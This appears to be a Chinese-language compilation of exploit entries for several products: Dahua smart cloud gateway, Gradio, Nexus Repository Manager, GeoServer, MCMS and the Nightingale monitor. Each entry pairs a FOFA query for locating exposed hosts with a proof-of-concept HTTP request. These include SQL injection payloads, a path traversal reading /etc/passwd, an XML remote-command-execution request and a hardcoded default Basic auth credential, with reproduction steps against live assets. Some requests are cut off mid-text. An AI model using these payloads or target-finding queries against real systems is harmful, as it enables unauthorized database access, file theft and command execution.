描述大华智能云网关注册管理平台SQL注入漏洞（CNVD-2024-38747），允许攻击者通过恶意构造的SQL语句操控数据库，从而导致数据泄露、篡改或破坏，严重威胁系统安全。
fofatitle="智能云网关注册管理平台"
POCPOST /index.php/User/doLogin HTTP/1.1Host: Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0X-Requested-With: XMLHttpRequestAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/x-www-form-urlencoded; charset=UTF-8username=1')and+updatex ...
漏洞描述该漏洞是Gradio应用中的一个高危漏洞，其出现在’component_server’端点，允许攻击者调用’Component’类的任意方法，并利用’Block’类的’move_resource_to_block_cache()’方法在文件系统上复制任意文件到临时目录，随后可将其检索。这是的攻击者能够在未经授权的情况下读取本地文件，尤其是Gradio应用通过’launch(share=True)’公开于互联网上时，远程攻击者可以读取主机上的文件。
fofabody=”gradio_mode“
POC获取components后面的id值
GET /config HTTP/1.1Host: xxx.xxx.xxx.xxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp ...
漏洞描述该漏洞允许远程攻击者通过构造特制的HTTP请求，在未经身份验证的情况下访问系统文件，该漏洞由于应用程序在处理文件路径输入时没有进行严格的验证和过滤，导致攻击者可以通过特定的目录穿越字符序列访问到应用程序根目录之外的文件
fofaapp=”Nexus-Repository-Manager”
POCGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: localhost:8081Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36Connection: closeCache-Control: ...
漏洞描述该漏洞存在于GeoServer系统的/goserver/wms接口处，攻击者可以利用该漏洞在xml中包含恶意的代码执行任意系统命令，漏洞利用了GeoServer处理Web Processing Service请求时没有正确过滤用户输入，从而导致远程命令执行漏洞。
fofaicon_hash=”97540678”
pocPOST /geoserver/wms HTTP/1.1Content-Type: application/xmlAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateHost: xxx.xxx.xxx.xxxContent-Length: 1967Expect: 100-continueConnection: close<?xml version ...
漏洞描述铭飞CMS是一款开源的内容管理系统，SQL注入漏洞存在于铭飞CMS的search接口处，当用户输入的内容未被充分过滤或转义时，攻击者可以在url中构造嵌入恶意的SQL语句，从而实现对数据库的操控
fofabody=”铭飞MCMS” || body=”/mdiy/formData/save.do” || body=”static/plugins/ms/1.0.0/ms.js”
POC/mcms/search.do'%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)%20and%20'1
漏洞复现在fofa中搜索资产，共有1689条数据匹配
访问目标网站的/mcms/search.do页面
构造闭合参数/mcms/search.do’ and ‘1
使用报错注入获取目标网站当前数据库名称
描述夜莺开源监控系统存在默认用户漏洞，/v1/n9e/接口401鉴权存在默认用户
fofaicon_hash="-2047686847"
POCGET /v1/n9e/users HTTP/1.1Host: monitor.xxxx.comCache-Control: max-age=0Authorization: Basic dXNlcjAwMTpjY2MyNmRhN2I5YWJhNTMzY2JiMjYzYTM2YzA3ZGNjNQ==
漏洞复现fofa中搜索资产，共有311条数据匹配
以下是登录页面以及页面特征
访问漏洞接口/v1/n9e/users
这里存在鉴权，burp监听，随便输入用户名和密码，在burp中进行修改为dXNlcjAwMTpjY2MyNmRhN2I5YWJhNTMzY2JiMjYzYTM2YzA3ZGNjNQ==
放开数据包后就可以查看默认用户了
对Authorization进行解码查看一下
用户名是user001，密码是ccc26da7b9aba5 ...
